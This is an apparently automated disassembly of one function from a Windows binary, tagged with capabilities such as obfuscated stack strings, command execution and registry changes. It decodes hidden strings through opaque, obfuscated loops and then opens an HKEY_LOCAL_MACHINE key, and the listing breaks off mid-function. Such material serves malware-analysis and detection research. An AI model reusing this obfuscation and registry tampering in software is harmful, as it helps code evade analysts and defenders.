Function at 0x1400d40b0
Capabilities:
Contain obfuscated stackstrings
Execute command
Parse pe header
Query or enumerate registry value
Set registry value

Disassembly:
push rbp
push rbx
push rsi
push rdi
lea rbp, [rsp - 0x88]
sub rsp, 0x188
movzx r11d, byte [rbp + 0xb0]
xor eax, eax
xorps xmm0, xmm0
mov word [rbp + 0x3b], ax
movups xmmword [rbp + 0x2b], xmm0
mov byte [rbp + 0x3d], al
mov dword [rbp + 0xb8], 4
mov dword [rbp], 0xe7e1d8e3
mov dword [rbp + 4], 0xf4dae8f1
mov dword [rbp + 8], 0x2e383b3d
mov dword [rbp + 0xc], 0x300d3932
mov dword [rbp + 0x10], 0x3c30353e
mov dword [rbp + 0x14], 0x33231638
mov dword [rbp + 0x18], 0x25251a34
mov dword [rbp + 0x1c], 0x23212f28
mov dword [rbp + 0x20], 0x3f0b123c
mov dword [rbp + 0x24], 0x31282a17
mov word [rbp + 0x28], 0xe11
mov byte [rbp + 0x2a], 0xea
nop word [rax + rax]
mov r8, qword [0x1402ea380]
mov r9, qword [0x1402ea378]
nop
xor edi, edi
cmp rdi, 0x3e
jae 0x1400d4a44
movzx r10d, byte [rbp + rdi]
cmp r8, rdi
ja 0x1400d4a3b
lea rax, [r9 + 1]
cmp r8, rax
jae 0x1400d4191
lea ecx, [rdi - 8]
mov r11d, Ordinal_30
movzx eax, cl
and al, r10b
sub r11b, al
add r11b, r11b
add r11b, cl
add r11b, r10b
jmp 0x1400d41c0
je 0x1400d49cc
inc rax
cmp r8, rax
je 0x1400d4953
lea rax, [r9 + 5]
cmp r8, rax
je 0x1400d491d
lea rax, [r9 + 4]
cmp r8, rax
je 0x1400d48e9
nop dword [rax]
mov rbx, r8
cmp r9, rdi
ja 0x1400d4a32
lea rax, [r9 + 0x61]
cmp r8, rax
jae 0x1400d41ec
lea ecx, [rdi + 0x58]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
sub r11b, 0x68
jmp 0x1400d422c
lea rax, [r9 + 1]
cmp r8, rax
je 0x1400d48a7
inc rax
cmp r8, rax
je 0x1400d487f
lea rax, [r9 + 3]
cmp r8, rax
je 0x1400d485f
lea rax, [r9 + 6]
cmp r8, rax
je 0x1400d4840
lea rax, [r9 + 9]
cmp r8, rax
je 0x1400d4818
nop dword [rax]
lea rax, [r8 + r9]
cmp rax, rdi
jbe 0x1400d4560
nop dword [rax]
lea rax, [r9 + 0x20]
cmp r8, rax
je 0x1400d4553
lea rax, [r9 + 0x1000]
cmp r8, rax
je 0x1400d452d
lea rax, [r9 + 4]
cmp r8, rax
je 0x1400d450e
lea rax, [r9 + 0x40]
cmp r8, rax
je 0x1400d44ef
lea rax, [r9 + 0x7a]
cmp r8, rax
je 0x1400d44d0
lea rax, [r9 + 6]
cmp r8, rax
je 0x1400d4240
lea r8, [r9 + 0x41]
lea r9, [r8 + 6]
lea rax, [r9 + 0x41]
cmp r8, rax
jb 0x1400d4a15
lea rax, [r9 + 8]
cmp r8, rax
jb 0x1400d49f4
lea rax, [r9 + 0x80]
cmp r8, rax
jb 0x1400d434a
lea rax, [r9 + 0x2a]
cmp r8, rax
jb 0x1400d4451
lea rax, [r9 + 0xa]
cmp r8, rax
jb 0x1400d440d
lea rax, [r9 + 0x3e8]
cmp r8, rax
jb 0x1400d4240
lea r8, [r9 + 0x10]
lea r9, [r8 + 0x3e8]
lea rax, [r9 + 0x10]
cmp r8, rax
ja 0x1400d43e0
lea rax, [r9 + 0x400]
cmp r8, rax
ja 0x1400d43c6
lea rax, [r9 + 3]
cmp r8, rax
ja 0x1400d43ac
lea rax, [r9 + 0x28]
cmp r8, rax
ja 0x1400d438d
lea rax, [r9 + 0x61]
cmp r8, rax
ja 0x1400d4364
lea rax, [r9 + 5]
cmp r8, rax
ja 0x1400d4240
lea r8, [r9 + 0x7a]
lea r9, [r8 + 5]
jmp 0x1400d4240
lea ecx, [rdi - 0x48]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
sub r11b, 8
jmp 0x1400d41c0
lea ecx, [rdi - 0x30]
movzx eax, r10b
and al, cl
mov r11d, Ordinal_45
sub r11b, al
inc r9
add r11b, r11b
dec rdi
add r11b, r10b
add r11b, cl
inc rdi
jmp 0x1400d4152
lea edx, [rdi - 0x10]
mov ecx, Ordinal_60
movzx eax, r10b
and al, dl
sub cl, al
lea r11d, [rcx + rcx]
add r11b, r10b
add r11b, dl
jmp 0x1400d48fe
lea ecx, [rdi + 0x10]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
sub r11b, 0x70
jmp 0x1400d493a
lea ecx, [rdi + 0x30]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
sub r11b, 0x50
jmp 0x1400d498f
lea edx, [rdi + 0x40]
mov ecx, reloc.WLDAP32.dll_Ordinal_32
movzx eax, dl
and al, r10b
sub cl, al
movzx eax, byte [rbp + rdi]
add rax, r9
add rdi, rax
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, r10b
inc rdi
jmp 0x1400d4152
lea r11d, [rdi + 0x78]
movzx eax, r11b
and al, r10b
add al, al
sub r11b, al
sub r11b, 0x48
add r11b, r10b
cmp r9, 0x3e8
jb 0x1400d47d0
lea edx, [rdi - 0x30]
movzx ecx, r10b
movzx eax, r10b
and al, dl
add al, al
sub cl, al
add cl, dl
lea r11d, [rcx*2 - 0x60]
jmp 0x1400d48c1
lea r11d, [rdi - 0x68]
movzx eax, r11b
and al, r10b
add al, al
sub r11b, al
sub r11b, 0x28
add r11b, r10b
lea rax, [r9 + r8]
cmp rax, 0x400
je 0x1400d47fc
lea rax, [r9 + 0x20]
cmp r8, rax
jbe 0x1400d4630
lea edx, [rdi + 0x18]
mov ecx, Ordinal_45
movzx eax, dl
and al, r10b
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, r10b
cmp r8, 6
jae 0x1400d47dd
lea rax, [r9 + 0x41]
cmp r8, rax
jbe 0x1400d4723
lea ecx, [rdi + 0x70]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
sub r11b, 0x10
jmp 0x1400d4424
lea edx, [rdi + 0x20]
mov ecx, reloc.WS2_32.dll_recv
movzx eax, dl
and al, r10b
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, r10b
jmp 0x1400d498f
lea edx, [rdi + 0x40]
mov ecx, reloc.WLDAP32.dll_Ordinal_32
movzx eax, dl
and al, r10b
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, r10b
jmp 0x1400d493a
lea edx, [rdi + 0x60]
mov ecx, Ordinal_50
movzx eax, dl
and al, r10b
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, r10b
jmp 0x1400d48fe
lea ecx, [rdi + 0x80]
inc r9
movzx eax, cl
dec rdi
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
add r11b, 0x80
inc rdi
jmp 0x1400d4152
lea edx, [rdi - 0x70]
mov ecx, 8
jmp 0x1400d48af
lea rax, [r9 + 0x80]
cmp rbx, rax
jae 0x1400d4589
lea ecx, [rdi - 8]
mov r11d, Ordinal_30
movzx eax, cl
and al, r10b
sub r11b, al
add r11b, r11b
add r11b, cl
jmp 0x1400d4465
lea rax, [r9 + 1]
cmp rbx, rax
jne 0x1400d45bf
lea edx, [rdi - 0x50]
mov ecx, Ordinal_26
movzx eax, dl
and al, r10b
sub cl, al
movzx eax, byte [rbp + rdi]
add rax, r9
add rdi, rax
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, r10b
inc rdi
jmp 0x1400d4152
inc rax
cmp rbx, rax
jne 0x1400d45e1
lea ecx, [rdi - 0x60]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
sub r11b, 0x60
jmp 0x1400d498f
lea rax, [r9 + 3]
cmp rbx, rax
jne 0x1400d4609
lea edx, [rdi - 0x70]
mov ecx, 8
movzx eax, dl
and al, r10b
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, r10b
jmp 0x1400d4968
lea rax, [r9 + 8]
cmp rbx, rax
jne 0x1400d4468
lea ecx, [rdi + 0x30]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
sub r11b, 0x50
jmp 0x1400d48c1
lea rax, [r9 + 1]
cmp r8, rax
jne 0x1400d4653
lea ecx, [rdi + 8]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
sub r11b, 0x38
jmp 0x1400d48c1
inc rax
cmp r8, rax
jne 0x1400d467b
lea ecx, [rdi - 0x18]
dec rdi
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
sub r11b, 0x58
inc rdi
jmp 0x1400d4152
lea rax, [r9 + 5]
cmp r8, rax
jne 0x1400d469e
lea ecx, [rdi - 0x38]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
sub r11b, 0x78
jmp 0x1400d4937
lea rax, [r9 + 4]
cmp r8, rax
jne 0x1400d46c6
lea edx, [rdi - 0x58]
mov ecx, 0x34
movzx eax, dl
and al, r10b
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, r10b
jmp 0x1400d4968
lea rax, [r9 + 3]
cmp r8, rax
jne 0x1400d46e9
lea ecx, [rdi - 0x68]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
sub r11b, 0x28
jmp 0x1400d498f
lea rax, [r9 + 7]
cmp r8, rax
jne 0x1400d449f
lea edx, [rdi - 0x78]
movzx eax, r10b
and al, dl
mov ecx, 0x24
sub cl, al
movzx eax, byte [rbp + rdi]
add rax, r9
add rdi, rax
lea r11d, [rcx + rcx]
add r11b, r10b
add r11b, dl
inc rdi
jmp 0x1400d4152
lea rcx, [r9 + 1]
cmp r8, rcx
jne 0x1400d4759
lea edx, [rdi + 0x60]
mov ecx, Ordinal_50
movzx eax, dl
and al, r10b
sub cl, al
movzx eax, byte [rbp + rdi]
add rax, r9
add rdi, rax
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, r10b
inc rdi
jmp 0x1400d4152
lea rax, [r9 + 3]
cmp r8, rax
jne 0x1400d4781
lea edx, [rdi + 0x40]
mov ecx, reloc.WLDAP32.dll_Ordinal_32
movzx eax, dl
and al, r10b
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, r10b
jmp 0x1400d4968
lea rax, [r9 + 4]
cmp r8, rax
jne 0x1400d47a5
movzx eax, r10b
and al, dil
add al, al
sub r10b, al
lea r11d, [rdi + r10]
dec rdi
inc rdi
jmp 0x1400d4152
lea rax, [rcx + 1]
cmp r8, rax
jne 0x1400d4424
lea edx, [rdi - 0x20]
movzx eax, r10b
and al, dl
movzx r11d, r10b
add al, al
sub r11b, al
sub r11b, 0x20
add r11b, dl
jmp 0x1400d48c1
mov byte [rbp + rdi], r11b
inc rdi
jmp 0x1400d4152
lea edx, [rdi - 0x40]
movzx ecx, r10b
movzx eax, r10b
and al, dl
sub cl, al
lea r11d, [rcx*2 - 0x40]
add r11b, dl
jmp 0x1400d48fe
lea edx, [rdi - 0x50]
mov ecx, Ordinal_26
movzx eax, dl
and al, r10b
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
jmp 0x1400d4968
lea ecx, [rdi - 0x38]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
movzx eax, byte [rbp + rdi]
add rax, r9
add rdi, rax
lea r11d, [r10 + rcx]
sub r11b, 0x78
inc rdi
jmp 0x1400d4152
lea edx, [rdi - 8]
mov ecx, Ordinal_30
movzx eax, dl
and al, r10b
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, r10b
jmp 0x1400d493a
lea ecx, [rdi + 0x28]
dec rdi
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
sub r11b, 0x18
inc rdi
jmp 0x1400d4152
lea edx, [rdi + 0x38]
mov ecx, reloc.WLDAP32.dll_Ordinal_60
movzx eax, dl
inc r9
and al, r10b
dec rdi
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, r10b
inc rdi
jmp 0x1400d4152
lea edx, [rdi + 0x48]
mov ecx, 4
movzx eax, dl
and al, r10b
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, r10b
movzx eax, r10b
lea ecx, [rdi - 0x38]
and al, cl
add al, al
sub r10b, al
sub r10b, 0x78
add r10b, cl
mov byte [rbp + rdi], r10b
inc r9
dec rdi
inc rdi
jmp 0x1400d4152
lea ecx, [rdi - 0x68]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
sub r11b, 0x28
movzx eax, r10b
lea ecx, [rdi - 0x48]
and al, cl
add al, al
sub r10b, al
sub r10b, 8
add r10b, cl
add r10b, r11b
mov byte [rbp + rdi], r10b
jmp 0x1400d4937
lea edx, [rdi - 0x58]
mov ecx, 0x34
movzx eax, dl
and al, r10b
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, r10b
add r8, r9
movzx eax, r11b
mov rcx, 0xffffffffffffffff
sub rcx, rax
add rdi, rcx
inc rdi
jmp 0x1400d4152
lea ecx, [rdi - 0x38]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
sub r11b, 0x78
lea edx, [rdi - 0x58]
movzx eax, r10b
and al, dl
inc r9
mov ecx, 0x34
sub cl, al
add cl, cl
add cl, r10b
add cl, dl
movzx eax, cl
mov byte [rbp + rdi], al
add rax, r9
sub rdi, rax
lea ecx, [rdi - 0x60]
movzx eax, r10b
and al, cl
inc r8
add al, al
sub r10b, al
mov rax, 0xffffffffffffffff
sub rax, r8
sub r10b, 0x60
add r10b, cl
mov byte [rbp + rdi], r10b
add rdi, rax
movzx eax, byte [rbp + rdi]
add rax, r9
add rdi, rax
inc rdi
jmp 0x1400d4152
lea ecx, [rdi - 0x18]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
sub r11b, 0x58
movzx eax, byte [rbp + rdi]
add rax, r9
add rdi, rax
inc rdi
jmp 0x1400d4152
sub dil, 0x28
mov ecx, ntohl
movzx eax, dil
and al, r10b
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dil
add r11b, r10b
jmp 0x1400d4150
sub dil, 0x18
movzx eax, dil
and al, r10b
add al, al
sub dil, al
lea r11d, [r10 + rdi]
sub r11b, 0x58
jmp 0x1400d4140
lea rdx, [rbp + 0x161eaa0]
jmp 0x1400d4a48
lea rdx, [rbp + 0xa15e98]
jmp 0x1400d4a48
lea rdx, [rbp]
lea rax, [rbp + 0xc0]
mov r9d, 3
xor r8d, r8d
mov qword [rsp + 0x20], rax
mov rcx, 0xffffffff80000002
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x1400d73bd
movzx r10d, byte [rbp + 0xb0]
xor eax, eax
mov word [rsp + 0x64], ax
mov byte [rsp + 0x66], al
mov dword [rsp + 0x40], 0xf1f0fe9c
mov dword [rsp + 0x44], 0x818fff89
mov dword [rsp + 0x48], 0xf5a086fa
mov dword [rsp + 0x4c], 0x8983f3fd
mov dword [rsp + 0x50], 0xfe8581d8
mov dword [rsp + 0x54], 0x82878587
mov dword [rsp + 0x58], 0xf48ed682
mov qword [rsp + 0x5c], 0x7f38df4
nop word [rax + rax]
mov r8, qword [0x1402ea380]
mov r9, qword [0x1402ea378]
nop
xor esi, esi
cmp rsi, 0x27
jae 0x1400d553c
movzx edi, byte [rsp + rsi + 0x40]
movzx r11d, sil
cmp r8, rsi
ja 0x1400d5533
lea rax, [r9 + 1]
cmp r8, rax
jae 0x1400d4b20
lea r10d, [r11 - 0x4f]
movzx eax, r10b
and al, dil
add al, al
sub r10b, al
add r10b, 0x29
add r10b, dil
jmp 0x1400d4b70
je 0x1400d54c5
lea rax, [r9 + 3]
cmp r8, rax
je 0x1400d5449
lea rax, [r9 + 2]
cmp r8, rax
je 0x1400d5415
lea rax, [r9 + 4]
cmp r8, rax
je 0x1400d53de
lea rax, [r9 + 5]
cmp r8, rax
je 0x1400d53bb
lea rax, [r9 + 6]
cmp r8, rax
je 0x1400d5395
nop word [rax + rax]
mov rdx, r8
cmp r9, rsi
ja 0x1400d552a
lea rcx, [r9 + 2]
cmp r8, rcx
jae 0x1400d4b9e
lea r10d, [r11 - 0x7b]
movzx eax, r10b
and al, dil
add al, al
sub r10b, al
add r10b, 0x5d
add r10b, dil
jmp 0x1400d4bda
lea rax, [r9 + 1]
cmp r8, rax
je 0x1400d5355
inc rax
cmp r8, rax
je 0x1400d5332
lea rax, [r9 + 5]
cmp r8, rax
je 0x1400d5315
lea rax, [r9 + 6]
cmp r8, rax
je 0x1400d52fa
cmp r8, rcx
je 0x1400d52cf
nop word [rax + rax]
lea rax, [r8 + r9]
cmp rax, rsi
jbe 0x1400d5045
nop dword [rax]
lea rax, [r9 + 0x64]
cmp r8, rax
je 0x1400d502a
lea rax, [r9 + 0x3e8]
cmp r8, rax
je 0x1400d5004
lea rax, [r9 + 0x28]
cmp r8, rax
je 0x1400d4fdd
lea rax, [r9 + 6]
cmp r8, rax
je 0x1400d4fc2
lea rax, [r9 + 0xa]
cmp r8, rax
je 0x1400d4fa5
lea rax, [r9 + 3]
cmp r8, rax
je 0x1400d4f84
lea rax, [r9 + 0x2a]
cmp r8, rax
je 0x1400d4f67
lea rax, [r9 + 0x7a]
cmp r8, rax
je 0x1400d4bf0
lea r8, [r9 + 0x400]
lea r9, [r8 + 0x2a]
lea rax, [r9 + 0x7a]
cmp r8, rax
jb 0x1400d550d
lea rax, [r9 + 0x80]
cmp r8, rax
jb 0x1400d54f0
lea rax, [r9 + 0x400]
cmp r8, rax
jb 0x1400d4d65
lea rax, [r9 + 0x40]
cmp r8, rax
jb 0x1400d4d49
lea rax, [r9 + 0x10]
cmp r8, rax
jb 0x1400d4ee4
lea rax, [r9 + 8]
cmp r8, rax
jb 0x1400d4eaa
lea rcx, [r9 + 1]
cmp r8, rcx
jb 0x1400d4e85
lea rax, [r9 + 4]
cmp r8, rax
jb 0x1400d4bf0
lea r9, [rcx + 0x41]
mov r8, rcx
lea rax, [r9 + 4]
cmp rcx, rax
ja 0x1400d4e56
lea rax, [r9 + 0x41]
cmp rcx, rax
ja 0x1400d4e39
lea rax, [r9 + 1]
cmp rcx, rax
ja 0x1400d4e1e
lea rax, [r9 + 0x1000]
cmp rcx, rax
ja 0x1400d4dfd
lea rax, [r9 + 0x42]
cmp rcx, rax
ja 0x1400d4de0
lea rax, [r9 + 0x200]
cmp rcx, rax
ja 0x1400d4dc5
lea rax, [r9 + 0x20]
cmp rcx, rax
ja 0x1400d4d9d
lea rax, [r9 + 9]
cmp rcx, rax
ja 0x1400d4d81
mov r8, rax
lea r9, [rax + 5]
jmp 0x1400d4bf0
lea r10d, [r11 - 0x47]
movzx eax, r10b
and al, dil
add al, al
sub r10b, al
sub r10b, 0xf
add r10b, dil
jmp 0x1400d4b70
lea r10d, [r11 + 0x57]
movzx eax, r10b
and al, dil
add al, al
sub r10b, al
sub r10b, 0x61
add r10b, dil
jmp 0x1400d4af5
lea r10d, [r11 + 0x28]
movzx eax, r10b
and al, dil
add al, al
sub r10b, al
sub r10b, 0x18
add r10b, dil
jmp 0x1400d536b
add r11b, 0x64
mov r10d, Ordinal_35
movzx eax, r11b
dec rsi
and al, dil
sub r10b, al
add r10b, r10b
add r10b, r11b
add r10b, dil
inc rsi
jmp 0x1400d4ae2
lea ecx, [r11 + 2]
movzx eax, cl
and al, dil
add al, al
sub cl, al
lea r10d, [rdi + rcx]
sub r10b, 0xe
jmp 0x1400d53f4
sub r11b, 0x60
movzx eax, r11b
and al, dil
add al, al
sub r11b, al
lea r10d, [rdi + r11]
sub r10b, 0x60
jmp 0x1400d542d
add r11b, 0x3e
mov ecx, Ordinal_41
movzx eax, r11b
and al, dil
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
add r10b, dil
jmp 0x1400d5430
lea ecx, [r11 - 0x24]
movzx eax, cl
and al, dil
add al, al
sub cl, al
lea r10d, [rdi + rcx]
sub r10b, 4
jmp 0x1400d545f
add r11b, 0x7a
movzx eax, r11b
and al, dil
add al, al
sub r11b, al
lea r10d, [rdi + r11]
sub r10b, 0x56
jmp 0x1400d5487
add r11b, 0x18
mov ecx, Ordinal_45
movzx eax, r11b
and al, dil
sub cl, al
movzx eax, byte [rsp + rsi + 0x40]
add rax, r9
add rsi, rax
lea r10d, [rcx + rcx]
add r10b, r11b
add r10b, dil
inc rsi
jmp 0x1400d4ae2
sub r11b, 0x5d
movzx eax, r11b
and al, dil
add al, al
sub r11b, al
lea r10d, [rdi + r11]
sub r10b, 0x75
mov byte [rsp + rsi + 0x40], r10b
inc rsi
jmp 0x1400d4ae2
lea ecx, [r11 + 0x41]
movzx eax, cl
and al, dil
add al, al
sub cl, al
lea r10d, [rdi + rcx]
add r10b, 0x39
cmp r9, 0x61
jb 0x1400d4e9d
lea ecx, [r11 - 0x7a]
movzx eax, cl
and al, dil
add al, al
sub cl, al
add cl, dil
lea r10d, [rcx*2 - 0x54]
jmp 0x1400d536b
lea ecx, [r11 + 0x7d]
movzx eax, cl
and al, dil
add al, al
sub cl, al
lea r10d, [rdi + rcx]
sub r10b, 0x6b
lea rax, [r9 + r8]
cmp rax, 0x80
je 0x1400d52b8
lea rax, [r9 + 0x40]
cmp r8, rax
jbe 0x1400d511a
lea ecx, [r11 + 0x2d]
movzx eax, cl
and al, dil
add al, al
sub cl, al
lea r10d, [rdi + rcx]
sub r10b, 0x3b
cmp r8, 0x41
jae 0x1400d5298
lea rax, [r9 + 0x1000]
cmp r8, rax
jbe 0x1400d51dd
lea edx, [r11 - 0x4e]
mov ecx, reloc.WS2_32.dll_recvfrom
movzx eax, dl
and al, dil
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, dil
jmp 0x1400d4ec0
sub r11b, 0x44
movzx eax, r11b
and al, dil
add al, al
sub r11b, al
lea r10d, [rdi + r11]
sub r10b, 0x24
jmp 0x1400d5487
sub r11b, 8
mov ecx, Ordinal_30
movzx eax, r11b
and al, dil
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
add r10b, dil
jmp 0x1400d5430
sub r11b, 0x6a
movzx eax, r11b
and al, dil
add al, al
sub r11b, al
lea r10d, [rdi + r11]
sub r10b, 0x1a
jmp 0x1400d542d
lea ecx, [r11 + 0x34]
movzx eax, cl
and al, dil
add al, al
sub cl, al
lea r10d, [rdi + rcx]
sub r10b, 0x6c
jmp 0x1400d53f4
sub r11b, 0x2e
mov ecx, reloc.WLDAP32.dll_Ordinal_33
movzx eax, r11b
dec rsi
and al, dil
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
add r10b, dil
inc rsi
jmp 0x1400d4ae2
add r11b, 0x70
inc r9
movzx eax, r11b
dec rsi
and al, dil
add al, al
sub r11b, al
lea r10d, [rdi + r11]
sub r10b, 0x10
inc rsi
jmp 0x1400d4ae2
lea ecx, [r11 + 0xe]
movzx eax, cl
and al, dil
add al, al
sub cl, al
lea r10d, [rdi + rcx]
sub r10b, 0x62
jmp 0x1400d536b
lea rax, [r9 + 0x28]
cmp rdx, rax
jae 0x1400d5069
lea ecx, [r11 - 0x4f]
movzx eax, cl
and al, dil
add al, al
sub cl, al
lea r10d, [rdi + rcx]
add r10b, 0x29
jmp 0x1400d4efa
lea rax, [r9 + 1]
cmp rdx, rax
jne 0x1400d509d
add r11b, 0xa
movzx eax, r11b
and al, dil
add al, al
sub r11b, al
movzx eax, byte [rsp + rsi + 0x40]
add rax, r9
add rsi, rax
lea r10d, [rdi + r11]
sub r10b, 0x46
inc rsi
jmp 0x1400d4ae2
inc rax
cmp rdx, rax
jne 0x1400d50c6
add r11b, 0x6c
mov ecx, 6
movzx eax, r11b
and al, dil
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
add r10b, dil
jmp 0x1400d5487
lea rax, [r9 + 3]
cmp rdx, rax
jne 0x1400d50ec
add r11b, 0x30
movzx eax, r11b
and al, dil
add al, al
sub r11b, al
lea r10d, [rdi + r11]
sub r10b, 0x50
jmp 0x1400d5430
lea rax, [r9 + 4]
cmp rdx, rax
jne 0x1400d4efa
sub r11b, 0x6e
mov ecx, 1
movzx eax, r11b
and al, dil
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
add r10b, dil
jmp 0x1400d542d
lea rax, [r9 + 1]
cmp r8, rax
jne 0x1400d513e
lea ecx, [r11 - 0x71]
movzx eax, cl
and al, dil
add al, al
sub cl, al
lea r10d, [rdi + rcx]
add r10b, 0x17
jmp 0x1400d536b
inc rax
cmp r8, rax
jne 0x1400d5169
add r11b, 0x53
dec rsi
movzx eax, r11b
and al, dil
add al, al
sub r11b, al
lea r10d, [rdi + r11]
sub r10b, 0x45
inc rsi
jmp 0x1400d4ae2
lea rax, [r9 + 2]
cmp r8, rax
jne 0x1400d518f
add r11b, 0x17
movzx eax, r11b
and al, dil
add al, al
sub r11b, al
lea r10d, [rdi + r11]
add r10b, 0x5f
jmp 0x1400d542d
lea rax, [r9 + 5]
cmp r8, rax
jne 0x1400d51b5
add r11b, 0x79
movzx eax, r11b
and al, dil
add al, al
sub r11b, al
lea r10d, [rdi + r11]
sub r10b, 0x4f
jmp 0x1400d5430
lea rax, [r9 + 3]
cmp r8, rax
jne 0x1400d4f2d
lea ecx, [r11 - 0x25]
movzx eax, cl
and al, dil
add al, al
sub cl, al
lea r10d, [rdi + rcx]
add r10b, 3
jmp 0x1400d545f
lea rax, [r9 + 1]
cmp r8, rax
jne 0x1400d5215
add r11b, 0x14
mov ecx, Ordinal_60
movzx eax, r11b
and al, dil
sub cl, al
movzx eax, byte [rsp + rsi + 0x40]
add rax, r9
add rsi, rax
lea r10d, [rcx + rcx]
add r10b, r11b
add r10b, dil
inc rsi
jmp 0x1400d4ae2
lea rax, [r9 + 3]
cmp r8, rax
jne 0x1400d523e
lea edx, [r11 - 0x28]
mov ecx, ntohl
movzx eax, dl
and al, dil
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, dil
jmp 0x1400d545f
lea rax, [r9 + 5]
cmp r8, rax
jne 0x1400d5264
sub r11b, 0x64
movzx eax, r11b
and al, dil
add al, al
sub r11b, al
lea r10d, [rdi + r11]
sub r10b, 0x44
jmp 0x1400d542d
lea rax, [r9 + 6]
cmp r8, rax
jne 0x1400d4ec0
add r11b, 0x60
mov ecx, Ordinal_50
movzx eax, r11b
dec rsi
and al, dil
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
add r10b, dil
inc rsi
jmp 0x1400d4ae2
lea edx, [r11 - 0x18]
movzx ecx, dil
movzx eax, dl
and al, dil
sub cl, al
lea r10d, [rcx*2 - 0x58]
add r10b, dl
jmp 0x1400d53f4
lea ecx, [r11 + 0x4a]
movzx eax, cl
and al, dil
add al, al
sub cl, al
lea r10d, [rcx - 6]
jmp 0x1400d545f
sub r11b, 9
movzx eax, r11b
and al, dil
add al, al
sub r11b, al
movzx eax, byte [rsp + rsi + 0x40]
add rax, r9
add rsi, rax
lea r10d, [rdi + r11]
add r10b, 0x3f
inc rsi
jmp 0x1400d4ae2
lea ecx, [r11 + 0x33]
movzx eax, cl
and al, dil
add al, al
sub cl, al
lea r10d, [rdi + rcx]
sub r10b, 0x65
jmp 0x1400d545f
sub r11b, 0x2f
movzx eax, r11b
and al, dil
add al, al
sub r11b, al
lea r10d, [rdi + r11]
add r10b, 0x49
jmp 0x1400d5430
sub r11b, 0x55
dec rsi
movzx eax, r11b
and al, dil
add al, al
sub r11b, al
lea r10d, [rdi + r11]
add r10b, 0x53
inc rsi
jmp 0x1400d4ae2
lea ecx, [r11 - 0x19]
movzx eax, cl
and al, dil
add al, al
sub cl, al
lea r10d, [rdi + rcx]
sub r10b, 0x51
add r11b, 0x37
inc r9
movzx eax, r11b
and al, dil
add al, al
sub r11b, al
add r11b, 0x7f
add r11b, dil
mov byte [rsp + rsi + 0x40], r11b
dec rsi
inc rsi
jmp 0x1400d4ae2
sub r11b, 0x3f
movzx eax, r11b
and al, dil
add al, al
sub r11b, al
lea r10d, [rdi + r11]
sub r10b, 0x47
inc r9
dec rsi
inc rsi
jmp 0x1400d4ae2
add r11b, 0x5f
movzx eax, r11b
and al, dil
add al, al
sub r11b, al
lea r10d, [rdi + r11]
add r10b, 0x67
dec rsi
inc rsi
jmp 0x1400d4ae2
lea ecx, [r11 - 3]
movzx eax, cl
and al, dil
add al, al
sub cl, al
lea r10d, [rdi + rcx]
add r10b, 0x15
sub r11b, 0x67
movzx eax, r11b
and al, dil
add al, al
sub r11b, al
sub r11b, 0x2f
add r11b, r10b
add r11b, dil
mov byte [rsp + rsi + 0x40], r11b
jmp 0x1400d542d
sub r11b, 0x65
movzx eax, r11b
and al, dil
add al, al
sub r11b, al
lea r10d, [rdi + r11]
sub r10b, 0x3d
add r8, r9
movzx eax, r10b
mov rcx, 0xffffffffffffffff
sub rcx, rax
add rsi, rcx
inc rsi
jmp 0x1400d4ae2
lea ecx, [r11 - 0x29]
movzx eax, cl
and al, dil
add al, al
sub cl, al
lea r10d, [rdi + rcx]
add r10b, 0x1f
sub r11b, 5
inc r9
movzx eax, r11b
and al, dil
add al, al
sub r11b, al
add r11b, 0x23
add r11b, dil
movzx eax, r11b
mov byte [rsp + rsi + 0x40], al
add rax, r9
sub rsi, rax
lea edx, [rsi - 0x54]
inc r8
movzx eax, dl
mov ecx, Ordinal_41
and al, dil
